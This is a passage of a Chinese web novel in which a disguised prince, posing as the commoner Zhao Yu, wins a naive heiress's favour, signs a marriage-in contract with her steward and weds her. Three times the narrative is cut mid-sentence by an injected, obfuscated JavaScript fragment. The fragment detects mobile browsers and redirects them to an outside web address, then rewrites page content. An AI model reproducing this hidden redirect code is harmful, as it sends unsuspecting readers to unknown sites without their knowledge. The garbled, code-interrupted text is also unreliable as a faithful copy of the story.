他又转过头来对着宋星糖,“请大小姐恕罪,因那日打算去借些银两,给老父下葬,故而一早就往城里去,怎料那日城门不开,便只能折返。老父下葬一事不可一拖再拖,然而我这些年实在没攒下什么银两,那匹战马是军中的长官赐予我的,值些钱,所以,所以……” 说至此处,他面色微红,有些赧然,“身无分文,便只得卖马葬父。” 秦知期盯着对方那张情绪饱满的脸,若有所思。 宋星糖没什么反应,仍一瞬不瞬地盯着他瞧。沈昭予面上不显,心里却犯嘀咕。 按江行所言,这故事编得俗套又没新意,不如省去这一段,毕竟撒的谎越少,破绽也就越少。就说他原有些家底,如今孤身一人毫无牵挂,想要成家,但钱又不够娶妻生子,所以才动了入赘的念头。 可沈昭予却觉得,能去做入赘这事的,应该是些急于用钱、短时间内凑不齐钱天就要塌了的人。他若还有些家底,那就证明还有周转的余地,既有余地,又何至于受“卖身入赘”的屈辱呢? 然而他认为合理的,旁人也一定这么认为吗?显然不是。 花厅中那群人就不以此为耻,可悲的是,那些人是情真意切地认为,宋氏赘婿这个名头能给他们脸上添光,他们并无生计上的困苦,只是想来做赘婿。 诡异的安静持续了一会,秦知期最先出声,只交代下人不可怠慢客人,便快步离开。 看样子也不知信没信他这套说辞。 沈昭予讨厌这种无法掌控局面的感觉,他心底隐隐生出暴躁,不耐烦地想,若是露馅便正好,他正好不想继续待。 “鱼鱼!” 鱼什么?什么鱼? 沈昭予眨了下眼,没吭声。 只见宋星糖伸手摸向她自己的衣襟,非礼勿视,沈昭予蓦地扭开头去。 宋星糖摸啊摸,从胸口摸到腰侧,最后从腰带上扯下钱袋子,从里头掏出一块银锭,“啪”地一声,拍在沈昭予面前。 沈昭予错愕回眸。 宋星糖眉眼弯弯,笑得很甜,“再买一匹吧,我喜欢看你骑马。” “……” 等到日落,秦知期再回到房间,便见那位赵公子仍坐在原处,直愣愣地对着桌子发呆。 顺着视线望去,是一排闪亮的银锭。 11. 第 11 章 【11】 听下人说起来龙去脉,在听到“大小姐担心一块银锭不够,特意回房又翻出来几个送来”的时候,秦知期彻底沉默了。 沈昭予看到来人,俨然看到救星。 他站起身,指着桌子,头疼道:“秦管家,这些银子还是烦请你还给大小姐吧,我不能要。” “另外你转告她,不要随意给陌生人银子花。” 这点道理她爹娘没教过吗?! 价值成千上万的财宝随意放在寺庙里,这也是她曾干出来的事,怎么,钱烫手,非得散出去不可? 秦知期却有些意外地挑眉。 小厮传来消息,赵鱼所言的经历中,除却灵州因路途遥远无法证实以外,皆为实情,赵鱼父亲家中的事都是真的,他也的确花光了所有积蓄来葬父。 他入宋府若是为钱,秦知期一点不奇怪,可他此刻又言辞拒绝了大小姐的馈赠…… 要么是此人极有耐性又颇为会演,打算放长线钓大鱼。要么此人便真是品性高洁之人,不轻易受人恩惠,占人便宜。 秦知期先去命人请大小姐过来,而后探究的目光落在沈昭予身上,“赵公子不为钱财,又为何入府?” 沈昭予抿着唇,犹豫未答,看似十分难为情。 秦知期摆手令人退下,“公子但说无妨。” 沈昭予瞥了眼四周,深吸口气,忍着别扭小声嘟囔:“自然是因爱慕大小姐。” 那些人不都是因为这个才来的吗?起码嘴上都这么说,那他也能说,只是说完以后浑身不自在,恨不得给自己两嘴巴。 秦知期微勾唇角,“赵公子才来越州,何时见过大小姐?又如何爱慕上的?” 沈昭予沉默一瞬,“实不相瞒,大小姐说与我见过一面,我……我记得。” 沈昭予低下头,难以启齿道:“虽只是一刹那,但我……记在了心上,后来料理完父亲的丧事,辗转打听过,知道了那日的女子到底是谁。” “所以,赵公子是钟情于我家大小姐?” 这个秦知期到底是聪明还是傻,他话都说得这么明白了,非要让他亲口承认? 沈昭予隐隐处于暴怒边缘,偏又发作不得,只能咬紧牙关,仿佛有一只无形的手在用力按着他的头往下点了点,“是,我钟情于她。” 秦知期十分满意地点点头,微笑道:“赵公子说话直爽,为人又正派,正是大小姐需要的人。” 话锋一转,秦知期又问道:“那方才在花厅外,赵公子又为何要走?” 沈昭予破罐子破摔后,编起情话来简直手到擒来。 他垂下眼睛,似颇为羞赧,又十分受伤,“不单我一人对大小姐情根深种,那些人也……我心里极不舒服。” “他们那样的人都敢到大小姐跟前,我凭何不可?可我一面气恼,一面又忍不住失落,我什么都没有,只怕真到大小姐跟前,又叫她厌烦,那我还不如就远远看上一眼,也就知足了。” 沈昭予说这话时,表情时而狰狞愤愤,时而委屈神伤,生动丰富,更增添了可信度。 一眼钟情以后,用情至深,甚至听不得旁人也说爱慕大小姐这种话。 “因爱生痴,又生了怨,”秦知期了然,宽慰道,“大小姐一眼便相中了你,也算不辜负你的一腔情意。” 酸死了。 酸得沈昭予牙都要倒了。 什么狗屁情意,他只有个狗脾气。 沈昭予面不改色,抬袖拭去并不存在的眼泪,借着袖子的遮掩,心一横,幽幽念出一句酸诗,“欲寄彩笺兼尺素,山长水阔知何处。”① 他眉间紧蹙,又喜又哀,惶惶不已,“既找到了我心上的姑娘,又怎能忍住不来见她?见到,便知足了,哪里还敢奢望别的……” 这世上还未有他做不成的事。 沈昭予给自己打了满分。 “都听到了吧,大小姐?” 秦知期低头笑了一下,转头冲门外招手。 沈昭予:? 袖子还未放下,整个人如被雷劈了一般,浑身紧绷,愣在原地。 脖子如生锈一般,迟钝僵硬地转向。 只见小姑娘扒着门框,打屋外露出头来。 白玉簪上缀着两颗琉璃珠,随着她歪头的动作泠泠作响。 难怪方才听到脚步声,却迟迟不见有人走过。 四目相对,沈昭予后撤一步,侧过身子,无助地寻找能藏身的地方。 宋星糖弯着眼睛,拎起裙摆,小跑进来,“我听见了呀,他说见过我。” 沈昭予晃了晃身子,气血翻涌。 宋星糖盯着男人的侧脸,目光在他那只红透的耳朵上落了半晌。 忽然,她抬手去摸—— 沈昭予本能地躲闪,结果因为心不在焉,还是慢了半步。 耳廓上抵来冰凉的触感,明明是冷的,却感觉一腔热血都涌了过去,紧接着半边身子酥麻,令他一阵目眩。 “哇,好烫。” 唰—— 这下连脸都是红的了。 秦知期瞥见他拘谨羞赧得手都不知如何摆放,不由觉得好笑,“大小姐有何要问的?” 宋星糖忙点头,“有一个问题!” 才一个? 秦知期扬眉,“大小姐请问。” 宋星糖扭过头,笑眯眯地看向了“赵鱼”。 她笑而不语,伸手要去拉他的胳膊,怎料他十分抗拒,甚至背过了身去。无奈,她也只能跟着绕过去。 她一动,他就躲,两人“你追我赶”,最终还是让宋星糖逮到了正面。 沈昭予看着被人死死抓住的手臂,脸色难看,眉间紧蹙,全身都在诉说抗拒。 “我想问你——” 沈昭予心弦一颤,喉咙干得如被火烧一般。 “仅凭一面,你就能找到我家来。”宋星糖仰着头,眼里闪着崇拜的光,“你真是太厉害了!是怎么做到的呀?” 沈昭予:? 他说了那么多,她就只想问这?难不成他所演绎的深情,假到连个小姑娘都骗不过去? 沈昭予蓦地有种身心俱疲的感觉,但他不服输,不能容忍自己失败,于是更加卖力。 一个谎需要无数的谎去圆,好在沈昭予早已习惯周旋于各方的试探,这一晚总算有惊无险地应付了过去。 “……如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353184|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我便知晓了大小姐的身份,开始谋划要如何见你一面。” “我本想着,反正自己无处可去,多留几日总能找到机会与你偶遇,谁知,老天都在帮我。” 宋星糖听着听着,上眼皮耷拉了下来,而后两片眼皮恩爱非常,难舍难分般黏在了一起。 沈昭予声音一顿,唇边带笑,视线专注,看着小姑娘捂着唇打了个哈欠,眼睛里积满泪花,他放缓了声:“大小姐去休息吧,我们……” 他压抑着唇角的弧度,可笑意还是从那双凤眸中溢了出来,嗓音轻得不能再轻,目光柔情似水,“我们来日方长。” 他眼里满是爱慕、关切,任谁一看都知,他定是爱惨了她。 然而宋星糖困得睁不开眼,是个瞎的。 她揉揉眼睛,胡乱点点头,“嗯嗯,那我走了,明日见。” 说着起身,不小心被桌腿拌了一脚,沈昭予脸色微变,下意识去扶,可又顾虑着男女之别,不知该不该伸手。 好在婢女眼疾手快,一把搂住,沈昭予舒展双眉,松了口气。 宋星糖晃晃悠悠向外游荡。 沈昭予坐在原处,目带痴恋,专注凝望着少女的背影。 待她行至院中,身影渐小,他终于按捺不住,情不自禁追了出去。 一路跟到了月洞门外,手扶着石墙,久久凝望。 直到再看不到人,他才缓缓垂落手臂。低着头,沉默半晌,才转身往回走。 “大小姐很喜欢你。” 沈昭予脚步一顿,茫然抬头。 那位秦管家站在廊下,不知看了他多久。 沈昭予愣了下,“是吗?” 他犹豫道:“可是大小姐似乎不喜欢听我说话。” 秦知期笑了笑,宽慰道:“她只是没什么耐性,不得久坐而已。” 话音落,他便见男子一直绷着的肩背松懈了下去。 男子低着头,站在光所不及的地方,秦知期看不清他的表情,但他猜,他一定在笑。 秦知期走出游廊,抬手拍了拍他肩膀,“恭喜赵公子得偿所愿。” 沈昭予有一瞬恍惚。 他仰头望向夜空,缓缓呼出一口郁气。 “只愿她开心,我也就开心了。” …… 沈昭予不太开心。 他沐浴过后,坐在床沿边上,任由湿发在前襟洇湿一片。 每晚睡前,都是他自省的时间。 “我怎能说出那些话?” 他喃喃自语,百思不得其解,“矫揉造作,令人作呕。” “是啊殿下,属下也想知道您怎么说出那些话的?” 江行无声无息地从房梁上一跃而下,跪在男人脚边,歪着头看他。 “您莫不是背着属下们,偷偷与哪家姑娘……” 沈昭予:“……” 江行挠挠头,“不怪属下乱猜,您既没有经验,如何能张口就来,难不成是天赋异禀?” 实在聒噪,沈昭予将榻上一沓信件随手甩到江行的脸上。 江行展信阅读,恍然大悟,“原来有武功秘籍。” 沈昭予额角狂跳:“……滚!” 12. 第 12 章 【12】 一夜无梦,至第二日清晨。 等宋星糖坐到妆奁前,才反应过来,前夜与赵鱼说了一晚上的话。 意识到这点,霎那间,心口宛如被泼了一碗热腾腾的蜜汁一般甜。 素白玉指轻捻起一绺乌发,手执木梳,低下头小心地梳着。 秦知许手里捧着个木匣走近,从里头挑了几支珠花发钗,放在手里对比。 “姑娘,您看这支如——”秦知许话音戛然而止,盯着少女的侧颜,一时间看呆。 宋星糖嘴里哼着曲,随意一瞥,“好看,阿许你帮我簪上吧!” 半晌没等来秦知许动作,她抬眸,只见人怔愣着,魂儿都不知飞哪里去了,疑惑道:“你怎么?见鬼啦?” 秦知许猛地回神,心有余悸,感慨道:“姑娘,虽然我们日日见,也少见你笑得这样开怀,是发生了什么好事?” “开怀?”宋星糖不解地眨了下眼,见秦知许指了指镜子,她看过去。这一看,整个人都愣住。 镜子映出她泛红的脸颊,连耳垂都染上一抹粉,瞧着竟比那海棠珠花的颜色还要娇艳动人。 抬手摸了下自己的耳朵,是烫的。 她突然想起昨日似乎摸过同样的触感——赵鱼的耳朵也是这样,不过他的好像要更硬些。 不知怎么,耳廓上的火越烧越旺了。 她茫然地摸向嘴角,一时间也说不清自己在高兴什么。 “也许,是昨夜睡得好吧。” 许多行为她自己都无法解释清楚,旁人就更无从得知了。 秦知许早习以为常,没再执着,她捂嘴笑着,调侃道:“我看姑娘还是少笑一笑吧,美得人都走不动路了!” 宋星糖赧然地捂住脸,带着恼意“哎呀”了一声,赌气似得转了回去。 秦知许在心里默数,果然没过三十个数,她又听到了悦耳的哼曲声。 秦知许无奈笑笑,她们家大小姐就是孩子脾性,什么情绪来得快去得也快,转眼间就把烦恼忘光了。 “姑娘那时说的很俊的人,就是赵公子吗?” 提起赵鱼,宋星糖又情不自禁地弯起唇,“是他呀,真没想到,还能有再见面的一天。” “姑娘那日同他说话了?” “没有。” 秦知许好奇:“那是如何认出,他就是他的?” “嗯?” 宋星糖没听懂,发出了一声含着鼻音的疑问。 “姑娘可还记得那张秀才长什么样吗?” 宋星糖想了想,脑子里白茫茫一片,摇头。 “见了张秀才两面不止,都难记住他的模样,怎么在马车上遥遥一望,就能认定赵公子就是你那日所见的俊俏郎君呢?” 这个问题实在把宋星糖给难住。 一直到梳妆完毕,她都没思索出什么名堂。 最后只能如实地道:“我也不知为何,就觉得是他。” 秦知许点点头,理所当然道:“那便又是直觉了。” 别人的感觉或许还会骗人,但宋星糖的不会。她虽懵懂无知,较常人迟钝,但直觉一向很准。 因这直觉二字,沈昭予却是一夜没有睡好。 前半夜在羞恼,他如何能说出那些让人不齿的放浪之语。 后半夜则不解,为何一个两个都能透过假面认出来他。 老和尚许是真有些能耐在身上,至于那小姑娘……联想起寺庙发生过的事,沈昭予只能归结为“直觉”二字。 可这天底下真有人的直觉这般敏锐吗? 沈昭予慢慢蹙起了眉。 “赵公子。” “……” “赵公子?” 沈昭予还不习惯自己的新名字,顿了片刻,才抬头。 只见秦管家站在他面前,视线落在他手里那张契约上,笑问:“赵公子可是对条约不满?” 语气很客气,却透着股不容置喙的强势。 沈昭予的脸色当下便沉下去,一时间竟令秦知期心底生了两分惧意。。 沈昭予知道自己被“选中”后,这位秦管家便马不停蹄地为各项事宜都做了安排。 旁的暂且不提,除却大婚的一应事宜外,最重要的,便是“防备”二字。 “赵鱼”从开始便注定是宋家大小姐守住家财的一颗棋子,那秦知期作为管家,就要好好规束这颗棋子,以免家贼未除又节外生枝。 道理他都懂,但他的身份摆在这,从前几乎不需要看人脸色,反观如今他竟要伏低做小,仰人鼻息,叫人实难适应。 然而他堂堂怀王又怎能因顾“尊严”而输掉? 纵有万般委屈,沈昭予也心甘情愿地忍了。 秦知期一个晃神,面前人又恢复如常,仿佛方才被威慑的感觉只是一时错觉。 沈昭予低下头,继续全神贯注地阅读。 白纸黑字,上写着几条约定,是专属于他一人的“七出之罪”—— 不侍妻去,纵人伤妻去,失财去,奸/淫去,疑妒去,有恶疾去,窃盗去。 其中淫罪包括出入勾栏瓦舍之地,纵使只是喝酒玩乐,也算犯了此条。 宋氏赘婿更无纳妾的资格,需要事事以大小姐为先,全心全意,洁身自好。 而失财罪,则是说交到他手上的产业若有损失,他也当为此负责。 犯此七条,净身出户。 “此外,若赵公子触犯了律法,宋氏亦不会包庇。” 沈昭予微勾唇角,闻言抬眸,眼神轻蔑,“秦管家防备心之盛,却不知又有几分本事能盯得住我?不知是哪位大夫妙手回春,连眼瞎的毛病都治得——哦,我忘了,秦管家是睁眼瞎,闭上眼睛,两指掐算,万事皆知。” 秦知期也笑了,“赵公子在大小姐面前那般良善温和,怎到我这,如此咄咄逼人,尖酸刻薄?” 沈昭予轻嗤一声,“我钟情她,又非你。怎么,你也想要那样的待遇?” 秦知期一噎,忍不住翻了个白眼。 “正说着话呢,好端端的,眼皮怎么抽搐不已?难怪宁愿做个睁眼瞎,也不愿将目光落在大小姐身上,想来确有顽疾缠身。” 秦知期:“……” 说不过他,干脆一巴掌拍在桌上,“你签不签?!” 见他如此,沈昭予一腔子燥气都散了。 果然,看别人不爽快,他就爽快了。 他心情极好,挽袖落笔,字迹依旧洒脱不羁,肆意无矩,签上自己的大名——赵鱼。 那字个人风格浓厚,实在赏心悦目,秦知期没忍住多看了两眼。 “赵某既入得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353185|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门来,签下这份契约,便再不会叫她受委屈。我可不似你这般无能,留她一个未经人事的小姑娘独自面对一切。” 秦知期蓦地抬头,诧异道:“你……” “宋家的事,只消稍稍打听便知。听说她祖母还背着她,给定了另一门婚事?呵,什么杂碎都敢跑来沾染,任由她这么被人欺负,你们宋家的忠仆都死光了?” 沈昭予盯着他的眼睛,冷声道:“我赵鱼并不贪图你宋家的一文钱,顶了这个名头,自然会万事都为她谋划,这都是我应该做的。” 他利用宋家遮掩身份,伺机而动。同样的,他该尽己所能,去做这个身份该做之事,帮她解决麻烦。 这是公平的交易,并不掺杂半分男女之情,等往后他恢复身份,她高枕无忧,他们和离以后,他也会负责到底,往后她有任何需要帮忙之处,他都会伸出援手。 力求万事尽善尽美,有始有终,不然他夜里会睡不着的。 “秦管家,我们有言在先,赵某的脾气实不算好,亦不会因是赘婿,便自觉低人一等,对人处处忍让。往后若有人犯到我头上,谁的面子我都不会给。” 竟还是个有脾气的,秦知期意外道:“若是大小姐呢?你也一样?” 沈昭予别过头去,语气低了些:“她自然不同……我哪舍得。” 毕竟他可是“爱妻”的赵鱼。 秦知期眼珠一转,嘲讽道:“没想到赵公子还有两副面孔。” “错了,赵某有数不清的面孔,我不仅当面一套背地一套,我还今日一套明日又一套,”沈昭予一点亏不吃,“秦管家还是快去将眼睛治一治吧,治好了就能看见了。” 秦知期:“……” 真想毒哑了他。 正事办完,沈昭予预备离开,才刚走到门口,迎面一人直直撞进怀里。 沈昭予下意识要去摸剑,在闻到人身上熟悉的甜香味,生生顿住,犹豫片刻,改为虚揽在对方腰际。 他垂眸看去,怀里人正巧仰头。 少女眼瞳剔透闪亮,如璀璨的明珠,清凌凌地倒映着他的身影,“鱼鱼!” “……” 沈昭予错开目光,将人扶稳,欲后退,怎料人又缠抱上来,抓住就不撒手了。 宋星糖眼睛亮晶晶,兴奋道:“咱们今日就拜堂成亲吧!” 沈昭予:?? 宋星糖眼巴巴地看向秦知期,小声问:“秦大哥,行吗?” 秦知期看热闹似得抱着肩膀,认真思量起来,“晨迎昏行,那是于普遍而言。咱们招赘,自然可免除迎亲这一步……” 沈昭予听着话音不对,心中生出个不好的预感。 秦知期看了看天色,将那张“七出休夫”的契约叠好,妥善地塞进怀里,笑道:“还来得及,未免夜长梦多,就今晚吧。” 眼见秦知期往外走,沈昭予惊愕不安,伸手挽留,“婚姻大事,岂能——”如此儿戏。 没碰到秦知期一闪而过的衣摆,却被宋星糖抓住了手。 沈昭予一僵,复又低头。 少女杏眸盛满了亮晶晶的星光,珍重地捧着他的手,握在掌心,她嘴角弯弯翘起,轻声道:“我很期待,你呢?” 沈昭予耳根微热,匆忙抽回手,捂紧衣领。 现在再跑,还来得及吗? 13. 第 13 章 【13】 宋星糖的临时起意,一下打乱了沈昭予所有的计划。 然而她自己对此一无所知。 日落时分,一切准备就绪。 婢女服侍着宋星糖换好嫁衣,又坐在梳妆台前上好新娘妆容。 外头忽然热闹起来,妙荷出去打听了才知,原是下午秦管家走后,便在府门前张贴了喜讯,现在有许多人都围在门口,想要等会进来讨杯喜酒喝。 “刚刚张书生还来门口闹事呢!” 李嬷嬷心头一紧,“这大喜之日,断不能被人给搅合了!不行,我去看看——” 虽说她如今依旧觉得招赘一事不靠谱,但秦管家力挺大小姐,且那男子她也见过,一眼瞧着是个好的,大小姐既真心喜欢,她便也没什么不情愿的了。 眼下木已成舟,只差临门一脚,万不可再徒生事端! 妙荷扶住李嬷嬷,安抚道:“您安心吧,小厮将人赶出去了,而且还听说,不知哪来的侠人义士把那张书生给劫走了!” 秦知许一惊:“什么!劫走?” 这下就连宋星糖都忍不住侧目,她正在试口脂,不便说话,只一双清澈水润会说话的眸子表达了疑问。 妙荷捂嘴笑道:“被人套了麻袋啦,也不知他在哪儿得罪的人。” 秦知许皱着鼻子,鄙夷道:“张氏仗着有老夫人撑腰,早已将咱们大小姐的钱财视为囊中物,乍一听大小姐招赘,到嘴的鸭子飞了,他们能愿?可看清了?确是被人劫走?别又是什么诡计!” 妙荷乐不可支,“小厮看得真真的,他才刚把人赶出去,就见不知哪儿来一蒙面人,拿着麻袋就把张秀才给套走了,张母追在后头哭天抹泪,说要去报官呢!” 李嬷嬷却道:“不好,别回头闹上官府,说是咱们府上干的。” “嬷嬷放心,此事已禀了大管家。” 李嬷嬷仍不放心,要亲自去问秦知期,急匆匆走到门口,又顿住。 她满眼怜意,眼底含泪,“咱们姑娘还是孩子心性,完全不懂婚娶是为何事,更不知道这堂一旦拜下去,意味着什么。” 秦管家终究是个男子,是被这世道眷顾着的人,不懂婚姻于女子来说意味着什么,他只知道这是应对老夫人的“缓兵之计”,哪里知道,闺阁女儿一旦嫁了人,是要将一辈子都搭出去的啊。 宋星糖刚上了口脂,红唇饱满,娇艳欲滴,她歪着头,莞尔一笑,霎那间满室光华。 她轻启红唇,说道:“嬷嬷莫说我傻,我知道成亲是怎么一回事。” 李嬷嬷愣了,“那姑娘说说?” “成亲就像我爹娘那样,”宋星糖笃定道,“往后会恩爱一生,直到死去。” 众人蓦地都说不出话来。 李嬷嬷抹了一把眼泪,“那姑娘是真心喜欢那位赵鱼公子的?” 少女一双眼睛弯得像半满不满的月亮,轻轻点头,“他那样好看,我自然是喜欢他的。” 秦知许与妙荷面面相觑,更加沉默。谁都看得出,她们姑娘所说的“喜欢”并无半分女儿家的羞赧,她的喜欢,与喜欢水晶糕和梅花酥这类并无区别。 吉时就要到了,秦知期来请人。 因是招赘,故而他们婚后的居所便是宋星糖一直住的霜星院,不需要出府去。 新郎官已经在主院那边,也就是宋父宋母的院子等着。只等宋星糖过去,便可完礼。 红盖头盖到脑袋上,宋星糖由婢女搀扶着往外走。 秦知期落后半步,迈过门槛时,忽然道:“大小姐今日要嫁与赵公子为妻。” “嗯?” 秦知期知道这话问得有些晚了,但他到底还是不放心,又同她确认道:“是否真心要跟他成亲?不曾为难?” 宋星糖微微回头,透过红布,隐约瞧见秦知期的身影,她虽不解,却给了自己的答案:“是!” “不后悔?” “不会后悔的。” 他长得那么好看,打着灯笼都难找到第二个这么合她心意的男子。 况且爹爹都说了,夫婿可以帮她料理家财,帮她解决她无能为力的麻烦,她简直太开心了! 她甚至觉得与赵鱼相识的时机来得太晚了!若是父母犹在身边时遇到他,就可以早早招到她家来,来当她的童养夫就挺好。 秦知期沉默片刻,笑了笑,“那么,我会帮大小姐看好他的。” 看着他作甚?宋星糖虽听不明白,但也跟着笑出了声,答应下来。 沈昭予独自在正堂等待,他知道周围有不少人在暗暗打量他。 有躲在角落偷看的宋府家丁,院子里亦有被秦知期请来明目张胆审视他的宾客。 胆敢用这么冒犯的目光直视他,要搁在平常,他早就一一都回敬过去。 然而今日…… 沈昭予仰头望了望万里霞光,喉结慢慢滚动了下。他抬手按着胸膛,缓缓舒了口气。 真是不争气,有什么可紧张的!他又不会真的娶她,等他们和离,他还要回京城去一展抱负。 沈昭予闭了闭眼睛,耳边听得门口传来动静,他知道,是她来了。 再睁开眼睛,那道身穿火红嫁衣的娇小身影出现在视野里,一步一步朝他走进。 才刚平复的心绪,不知为何,蓦地又失序。 众人都在看着。 霎那间,男人漆黑的瞳中映出几分温柔与眷恋。 他拉过她的手,在空荡荡的两张座椅前,并肩而站。 大婚仪式匆促而简单,但此时此刻,对于他们彼此来说,这些都不重要。 重要的是,今夜过后,于他和她而言,都是翻天覆地的变化。 一拜天地。 二拜高堂。 夫妻对拜。 咚咚。 沈昭予睫毛微颤。 “送入洞房——” 沈昭予蓦地抓紧了掌心的手。 攥得紧了,宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353186|167975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星糖也觉察不到疼痛,只隐约从他的动作察觉到几分焦躁,她茫然地回头看他一眼。 红盖头碍事,看不清他的脸,宋星糖失落一瞬,手指微勾,挠了挠男人的掌心。 牵着他往外走的人身子微僵,险些将她的手扔开。 这算什么?调戏他? 沈昭予绷着脸。 新郎新娘往外走,有瞧见男子样貌的,不禁哗然—— 只道是金玉良缘,郎情妾意。 “可惜李夫人没能看到这一幕啊,哎!” “宋将军也不知人在何处,是生是死。” “大将军若回来见到女儿招了这样一位夫婿,想必也会开心的。” “只是不知为何宋二爷与老夫人都没在啊……” 诸多议论抛至身后,一对新人被送回霜星院。 “赵公子照顾好大小姐就是,前面有我料理。” 秦知期停在房间外,不再往里走。他面上笑着,眼底却含着凉意,目光直直刺向穿着婚服的男人,压低声:“记得你的承诺,否则——” 李嬷嬷听不懂他们的哑谜,越瞧男子越觉得喜爱,笑道:“秦管家该改口了才是,该叫姑爷了!” 秦知期也笑:“是,姑爷请吧。” 大喜之日,生气晦气。 沈昭予微微一笑,语气和善:“我不光眼神好,记性也好,自己说过做过什么都记得。不像大管家,贵人多忘事,这就忘了给过人委屈的事,不然怎么觍着脸在这要求别人呢。” 今天也是爱大小姐护大小姐,肝脑涂地一心只有大小姐的赵鱼。 “我与大小姐自此夫妻一体,她的喜怒哀乐都是我的,犯不着旁人狗拿耗子多管闲事。谁欺负她,我就欺负谁,大管家不必教我如何做人夫婿,只要是对她,我会得很。”沈昭予嗤笑一声,嫌弃道,“管好你自己,还有那个姓张的穷书生,若非你一再宽纵,他岂能敢闹事?拖拖拉拉,办不好一桩差事,这管家之位不若也让给我来当,我不要钱。” 秦知期脸色骤然一沉,深深看他一眼,拂袖离去。 就这浅薄的道行,这么沉不住气,还敢跑到他面前威胁?嘁。 沈昭予把人怼走,威风凛凛,折身入内。 等走到内间,看到榻上那道影影绰绰的红色身影,只感觉强硬的气势一泻千里,再不复返。 他一时间手足无措,停在原地,进退不得。 喜娘见他愣头青似得,打趣笑着,催促:“新郎官快来掀盖头吧!” 沈昭予接过玉如意,僵硬地伸手挑去。 盖头轻飘飘的,红布落地无声,沈昭予却清晰地听到了震耳欲聋的如擂鼓般的声响。 掀开的刹那,女子的步摇轻轻晃动,红烛的火光在缀落的明珠上跳跃,她慢慢抬头。 嫁衣如火,铺满床榻,更衬得她皮肤雪白,娇艳如花。 沈昭予垂着眸,与榻上女子四目相对。 原来是他的心跳声。 14.第 14 章 【14】 满屋人散去,只剩了他二人。 难言的尴尬在空气中弥漫开来。 宋星糖对氛围一无所察,她神情自在,悄悄侧头,看向身侧的男子。 只见赵鱼正襟危坐,手垂在腿上。衣裳似乎不太合身,袖子那儿短了一截,袍子也未及鞋面,只堪堪遮到他的小腿。 他好高啊,宋星糖上下打量,满眼艳羡。 顺着身体往上看,在他清削的锁骨上顿了顿,又顺着修长的颈,到男人那张俊俏的脸上。 这人的睫毛怎么也这般长呢?乌黑浓密,睫羽纤长,覆下来时好像将半个眼睛都遮住了,一点光都透不进去。 宋星糖抬手摸了摸自己的,眼睛眨动时,小扇子一样的睫毛扫来扫去,惹人发痒,她微微皱眉,挠了挠手心。 不知他的摸起来是什么感觉,多半触感是不一样的,耳朵就是他的硬,她的软。 宋星糖又看回男人的脸。 才刚饮过合卺酒,他的唇上沾了一片水光,瞧着很是湿润柔软。 她想瞧得更真切些,便身随意动,往男人身侧靠了靠。手撑着榻,身子往他身上歪,抻着脖子想去看他的正脸。 沈昭予一直被人用火热的目光看着,愈发焦躁,心神不宁。 看什么看,有什么好看的。 但他是爱慕入骨的“赵鱼”,断不能翻脸把人推开,否则便是功亏一篑,还会平白再惹一身麻烦。 沈昭予微微阖眸,心中默念兵法静心。他不躲不闪,一副任人采撷的模样,倒愈发方便人摆弄。 沈昭予感觉到有手戳了戳他的脸,他垂在膝上的手默默攥紧,喜服皱成一团。 这要是别人,他非得把碰他的那根手指撅折不可。 宋星糖的耳朵像小动物一样灵敏,被布料摩擦声吸引,她唰得低头,看到他的喜袍紧贴着她的婚服。 他们的婚事仓促间定下,从认识到成亲不足三日,但婚服却是早早就备下了。 宋星糖也是才听秦大哥说,原来她娘早有招赘的意图,从去岁就命秦大哥着手准备大婚所用之物,其中就包括男女婚服。 她再次确认自己理解爹爹的信无误,否则她娘做这些准备干什么? 只是不知秦大哥是参照谁的尺寸裁的衣,不太合赵鱼的身材。 宋星糖的目光很快又被腿上那双不住攥紧的手给吸引。 他的手瘦削修长,约莫比她的宽了两圈不止,手指长出去至少一个指节,手背薄薄一层的皮肤下,青色脉络凸显,瞧着极有力的样子。 宋星糖愣愣盯着那双手,半晌没动作。 沈昭予微微掀了眼皮,顺着眯起的眼缝看去,见她低着头不知在想什么,不禁松了口气。 皮相能改,骨相难改。 虽说他对自己的易容术有把握,但这小姑娘的直觉出奇地敏锐,能凭一面之缘认出他的人,还是要防着些。若真叫她盯出什么来,他还要想办法糊弄过去。 只是没等他这口气落下,小贼又偷偷摸摸地摸了过来。 确实是“摸”了过来。 沈昭予忍无可忍,反扣手心,将那只鬼鬼祟祟的小爪子给按在掌下。她的手很凉,沈昭予不由得微微蹙眉。 宋星糖蓦地抬眸,撞进男人的眼中。 一双漆黑幽邃的凤眸微眯,眼尾上挑,似笑非笑,“摸什么?” 